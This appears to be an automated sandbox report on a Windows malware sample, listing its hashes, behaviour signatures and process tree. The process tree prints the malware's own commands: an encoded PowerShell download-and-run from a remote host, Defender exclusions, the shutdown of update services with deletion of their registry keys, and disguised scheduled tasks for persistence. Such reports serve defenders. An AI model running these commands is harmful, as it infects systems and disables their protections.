Analysis
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max time kernel
71s -
max time network
46s -
platform
windows7_x64 -
resource
win7-20220812-en -
resource tags
arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system -
submitted
28/01/2023, 19:33
Static task
static1
Behavioral task
behavioral1
Sample
1d678410484e34165adb652f7e86a2b5cae5f58d.exe
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
1d678410484e34165adb652f7e86a2b5cae5f58d.exe
Resource
win10v2004-20220812-en
General
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Target
1d678410484e34165adb652f7e86a2b5cae5f58d.exe
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Size
361KB
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MD5
18852c1659b6641a1f4eeacf6ce6bb8d
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SHA1
1d678410484e34165adb652f7e86a2b5cae5f58d
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SHA256
34efda61716ff1db7297813317e194d4eaa74ae5209810ef6045aabab2af3179
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SHA512
86295df5931e4673fc6579c1d6425040dbf44c6fbd5c19a35228f1c9f8d4917944c8ff020998d4504853398e7640664bf10c275835b1bfa7a236a073ed518b74
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SSDEEP
6144:lUNamFD8LPUsNuwibRhinAoCRH+SXm+iMvOfcLpp0AdgqMGjEAOe75wBNEj+nc:lUFD8LPaw2RhinATReSXmPMvBBdqZBNU
Malware Config
Signatures
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Modifies security service 2 TTPs 2 IoCs
description ioc Process Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Parameters reg.exe Key deleted \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\wuauserv\Security reg.exe -
Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
description pid Process procid_target PID 1920 created 1392 1920 SmartDefRun.exe 12 PID 1920 created 1392 1920 SmartDefRun.exe 12 PID 1920 created 1392 1920 SmartDefRun.exe 12 PID 1920 created 1392 1920 SmartDefRun.exe 12 PID 1264 created 420 1264 powershell.EXE 3 -
Blocklisted process makes network request 1 IoCs
flow pid Process 4 1444 powershell.exe -
Downloads MZ/PE file
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Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\System32\drivers\etc\hosts SmartDefRun.exe -
Executes dropped EXE 4 IoCs
pid Process 888 C4Loader.exe 1612 new2.exe 1824 SysApp.exe 1920 SmartDefRun.exe -
Stops running service(s) 3 TTPs
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Loads dropped DLL 6 IoCs
pid Process 1444 powershell.exe 1444 powershell.exe 1444 powershell.exe 1444 powershell.exe 1444 powershell.exe 1444 powershell.exe -
Uses the VBS compiler for execution 1 TTPs
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Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\WindowsPowerShell\v1.0\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.EXE -
Suspicious use of SetThreadContext 3 IoCs
description pid Process procid_target PID 1900 set thread context of 936 1900 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 28 PID 1920 set thread context of 1428 1920 SmartDefRun.exe 54 PID 1264 set thread context of 864 1264 powershell.EXE 60 -
Drops file in Program Files directory 1 IoCs
description ioc Process File created C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe SmartDefRun.exe -
Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1476 sc.exe 2036 sc.exe 1120 sc.exe 936 sc.exe 1588 sc.exe -
Program crash 1 IoCs
pid pid_target Process procid_target 1972 1900 WerFault.exe 26 -
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1712 schtasks.exe 1596 schtasks.exe -
Modifies data under HKEY_USERS 2 IoCs
description ioc Process Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 907cc3ec5733d901 powershell.EXE Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.EXE -
Suspicious behavior: EnumeratesProcesses 37 IoCs
pid Process 1444 powershell.exe 1444 powershell.exe 1444 powershell.exe 1444 powershell.exe 1444 powershell.exe 1444 powershell.exe 1444 powershell.exe 1444 powershell.exe 1444 powershell.exe 1824 SysApp.exe 1824 SysApp.exe 1824 SysApp.exe 1824 SysApp.exe 1824 SysApp.exe 1920 SmartDefRun.exe 1920 SmartDefRun.exe 836 powershell.exe 1920 SmartDefRun.exe 1920 SmartDefRun.exe 1920 SmartDefRun.exe 1920 SmartDefRun.exe 1628 powershell.exe 1920 SmartDefRun.exe 1920 SmartDefRun.exe 1264 powershell.EXE 656 powershell.EXE 1264 powershell.EXE 864 dllhost.exe 864 dllhost.exe 864 dllhost.exe 864 dllhost.exe 864 dllhost.exe 864 dllhost.exe 864 dllhost.exe 864 dllhost.exe 864 dllhost.exe 864 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 7 IoCs
description pid Process Token: SeDebugPrivilege 1444 powershell.exe Token: SeDebugPrivilege 836 powershell.exe Token: SeDebugPrivilege 1628 powershell.exe Token: SeDebugPrivilege 1264 powershell.EXE Token: SeDebugPrivilege 656 powershell.EXE Token: SeDebugPrivilege 1264 powershell.EXE Token: SeDebugPrivilege 864 dllhost.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 1900 wrote to memory of 936 1900 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 28 PID 1900 wrote to memory of 936 1900 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 28 PID 1900 wrote to memory of 936 1900 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 28 PID 1900 wrote to memory of 936 1900 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 28 PID 1900 wrote to memory of 936 1900 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 28 PID 1900 wrote to memory of 936 1900 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 28 PID 1900 wrote to memory of 1972 1900 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 29 PID 1900 wrote to memory of 1972 1900 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 29 PID 1900 wrote to memory of 1972 1900 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 29 PID 1900 wrote to memory of 1972 1900 1d678410484e34165adb652f7e86a2b5cae5f58d.exe 29 PID 936 wrote to memory of 1444 936 vbc.exe 30 PID 936 wrote to memory of 1444 936 vbc.exe 30 PID 936 wrote to memory of 1444 936 vbc.exe 30 PID 936 wrote to memory of 1444 936 vbc.exe 30 PID 1444 wrote to memory of 888 1444 powershell.exe 32 PID 1444 wrote to memory of 888 1444 powershell.exe 32 PID 1444 wrote to memory of 888 1444 powershell.exe 32 PID 1444 wrote to memory of 888 1444 powershell.exe 32 PID 1444 wrote to memory of 1612 1444 powershell.exe 33 PID 1444 wrote to memory of 1612 1444 powershell.exe 33 PID 1444 wrote to memory of 1612 1444 powershell.exe 33 PID 1444 wrote to memory of 1612 1444 powershell.exe 33 PID 1444 wrote to memory of 1824 1444 powershell.exe 35 PID 1444 wrote to memory of 1824 1444 powershell.exe 35 PID 1444 wrote to memory of 1824 1444 powershell.exe 35 PID 1444 wrote to memory of 1824 1444 powershell.exe 35 PID 1444 wrote to memory of 1920 1444 powershell.exe 36 PID 1444 wrote to memory of 1920 1444 powershell.exe 36 PID 1444 wrote to memory of 1920 1444 powershell.exe 36 PID 1444 wrote to memory of 1920 1444 powershell.exe 36 PID 672 wrote to memory of 1476 672 cmd.exe 43 PID 672 wrote to memory of 1476 672 cmd.exe 43 PID 672 wrote to memory of 1476 672 cmd.exe 43 PID 672 wrote to memory of 2036 672 cmd.exe 44 PID 672 wrote to memory of 2036 672 cmd.exe 44 PID 672 wrote to memory of 2036 672 cmd.exe 44 PID 672 wrote to memory of 1120 672 cmd.exe 45 PID 672 wrote to memory of 1120 672 cmd.exe 45 PID 672 wrote to memory of 1120 672 cmd.exe 45 PID 672 wrote to memory of 936 672 cmd.exe 46 PID 672 wrote to memory of 936 672 cmd.exe 46 PID 672 wrote to memory of 936 672 cmd.exe 46 PID 672 wrote to memory of 1588 672 cmd.exe 47 PID 672 wrote to memory of 1588 672 cmd.exe 47 PID 672 wrote to memory of 1588 672 cmd.exe 47 PID 672 wrote to memory of 1716 672 cmd.exe 48 PID 672 wrote to memory of 1716 672 cmd.exe 48 PID 672 wrote to memory of 1716 672 cmd.exe 48 PID 1628 wrote to memory of 1712 1628 powershell.exe 49 PID 1628 wrote to memory of 1712 1628 powershell.exe 49 PID 1628 wrote to memory of 1712 1628 powershell.exe 49 PID 672 wrote to memory of 1068 672 cmd.exe 50 PID 672 wrote to memory of 1068 672 cmd.exe 50 PID 672 wrote to memory of 1068 672 cmd.exe 50 PID 672 wrote to memory of 1872 672 cmd.exe 51 PID 672 wrote to memory of 1872 672 cmd.exe 51 PID 672 wrote to memory of 1872 672 cmd.exe 51 PID 672 wrote to memory of 1596 672 cmd.exe 52 PID 672 wrote to memory of 1596 672 cmd.exe 52 PID 672 wrote to memory of 1596 672 cmd.exe 52 PID 672 wrote to memory of 1372 672 cmd.exe 53 PID 672 wrote to memory of 1372 672 cmd.exe 53 PID 672 wrote to memory of 1372 672 cmd.exe 53 PID 1920 wrote to memory of 1428 1920 SmartDefRun.exe 54
Processes
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:480
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C:\Windows\system32\services.exeC:\Windows\system32\services.exe1⤵PID:464
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted2⤵PID:716
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService2⤵PID:828
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetwork2⤵PID:1028
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C:\Windows\system32\sppsvc.exeC:\Windows\system32\sppsvc.exe2⤵PID:1128
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation2⤵PID:1780
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C:\Windows\system32\taskhost.exe"taskhost.exe"2⤵PID:1240
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe2⤵PID:276
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService2⤵PID:296
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs2⤵PID:868
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C:\Windows\system32\taskeng.exetaskeng.exe {D2F4B154-B34F-4D3B-A391-593E082648CF} S-1-5-18:NT AUTHORITY\System:Service:3⤵PID:1700
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+'O'+''+[Char](70)+''+'T'+''+'W'+''+[Char](65)+''+'R'+'E').GetValue(''+[Char](100)+''+'i'+''+[Char](97)+''+[Char](108)+''+[Char](101)+'r'+[Char](115)+''+[Char](116)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)4⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:656
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+'O'+[Char](70)+'T'+[Char](87)+'A'+[Char](82)+''+[Char](69)+'').GetValue(''+'d'+''+'i'+''+[Char](97)+''+[Char](108)+''+[Char](101)+'r'+[Char](115)+''+[Char](116)+''+[Char](97)+''+[Char](103)+''+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)4⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1264
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C:\Windows\system32\taskeng.exetaskeng.exe {FEBE4701-4209-46E0-B4FD-C8B231564A40} S-1-5-21-3845472200-3839195424-595303356-1000:ZERMMMDR\Admin:Interactive:[1]3⤵PID:1660
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C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exeC:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe4⤵PID:1100
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted2⤵PID:792
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k RPCSS2⤵PID:660
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch2⤵PID:584
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:420
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{2dc4ea7c-c7b0-4e43-8ff2-64385d0e7144}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:864
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C:\Windows\system32\lsm.exeC:\Windows\system32\lsm.exe1⤵PID:488
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1392
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C:\Users\Admin\AppData\Local\Temp\1d678410484e34165adb652f7e86a2b5cae5f58d.exe"C:\Users\Admin\AppData\Local\Temp\1d678410484e34165adb652f7e86a2b5cae5f58d.exe"2⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1900 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:936 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1444 -
C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"5⤵
- Executes dropped EXE
PID:888
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C:\Users\Admin\AppData\Local\Temp\new2.exe"C:\Users\Admin\AppData\Local\Temp\new2.exe"5⤵
- Executes dropped EXE
PID:1612
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C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"5⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:1824 -
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe"6⤵
- Creates scheduled task(s)
PID:1596
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C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"5⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1920
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1900 -s 483⤵
- Program crash
PID:1972
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:836
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f2⤵
- Suspicious use of WriteProcessMemory
PID:672 -
C:\Windows\System32\sc.exesc stop UsoSvc3⤵
- Launches sc.exe
PID:1476
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C:\Windows\System32\sc.exesc stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:2036
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C:\Windows\System32\sc.exesc stop wuauserv3⤵
- Launches sc.exe
PID:1120
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C:\Windows\System32\sc.exesc stop bits3⤵
- Launches sc.exe
PID:936
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C:\Windows\System32\sc.exesc stop dosvc3⤵
- Launches sc.exe
PID:1588
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f3⤵PID:1716
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f3⤵PID:1068
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f3⤵
- Modifies security service
PID:1872
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f3⤵PID:1596
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C:\Windows\System32\reg.exereg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f3⤵PID:1372
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#thpqznhs#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'WindowsDefenderSmartScreenQC' /tr '''C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'WindowsDefenderSmartScreenQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefenderSmartScreenQC" /t REG_SZ /f /d 'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1628 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn WindowsDefenderSmartScreenQC /tr "'C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe'"3⤵
- Creates scheduled task(s)
PID:1712
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C:\Windows\System32\dialer.exeC:\Windows\System32\dialer.exe2⤵PID:1428
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\\?\C:\Windows\system32\wbem\WMIADAP.EXEwmiadap.exe /F /T /R1⤵PID:2004
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C:\Windows\system32\Dwm.exe"C:\Windows\system32\Dwm.exe"1⤵PID:1336
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C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "1959875407-12146705781331186516168542111652073145-519956228815563010-1410659623"1⤵PID:1320
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C:\Windows\system32\conhost.exe\??\C:\Windows\system32\conhost.exe "-187033790111701965561142526317-41152161-281305803148828164011928792981712477200"1⤵PID:1612
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
1.4MB
MD5bb86a343080f9f4696c250ef31a18d9d
SHA143b2193dcb1d56eac73ba88a7b461822074192d6
SHA256095b49a6a4f0c7535d11e071185fc0e94fb00f1b01730ca583889a70ef7ad7e0
SHA51224807f80547879d3131be311d738b411e335a9489bbe80649fbfd6b6265852e7e9aec461f5e5f5e4e7ea0239c145a18f9b5e91aa31888227b2b080b75a439560
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
3.7MB
MD5f5c51e7760315ad0f0238d268c03c60e
SHA185ebaaa9685634143a72bc82c6e7df87a78eed4c
SHA256ea42fcee681ec3b06dac54d3da4b866143d68cbaa0dd0e00e7c10ae2a7c9d2aa
SHA512d3b9ac3bf5467bd25439f2d29457361ac14d1be5b060078a7ef4f78540994679f9fed245d70a4e2a6edbc37b94a042be407ad7fbbd5a95600312946ffb558f35
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
477KB
MD53753f9966e5b4fdc87184c1749f2bd25
SHA169b76e86bfb4fcf4c0eb2f5fc8b71356e9f4e756
SHA2560f1d090c622967acfa7bde2ef5238255ce8924d5ff7bbf72661821e3d901f299
SHA5123283dfee96e0089873336f3c699604eb33d5c091cdf65a193d4f8e1850625823f62dc02d242290dfd10c10f127bfec26f55b6438fc9ab2c0dd5c9f7cb764e8b6
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
1.4MB
